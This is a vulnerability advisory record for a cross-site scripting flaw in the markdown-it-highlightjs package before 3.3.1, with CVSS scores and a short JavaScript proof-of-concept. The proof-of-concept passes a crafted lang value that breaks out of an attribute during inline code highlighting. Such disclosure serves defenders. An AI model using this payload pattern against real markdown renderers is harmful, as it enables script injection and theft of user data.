title: Cross-site Scripting (XSS)
description: This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
problem types: Cross-site Scripting (XSS)
affected:
{
product: markdown-it-highlightjs
vendor: n/a
versions:
lessThan: 3.3.1, status: affected, version: unspecified, versionType: custom
}
metrics:
cvssV3_1: [
attackComplexity: LOW
attackVector: NETWORK
availabilityImpact: NONE
baseScore: 6.5
baseSeverity: MEDIUM
confidentialityImpact: HIGH
exploitCodeMaturity: PROOF_OF_CONCEPT
integrityImpact: NONE
privilegesRequired: NONE
remediationLevel: OFFICIAL_FIX
reportConfidence: CONFIRMED
scope: UNCHANGED
temporalScore: 5.9
temporalSeverity: MEDIUM
userInteraction: REQUIRED
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C
version: 3.1
]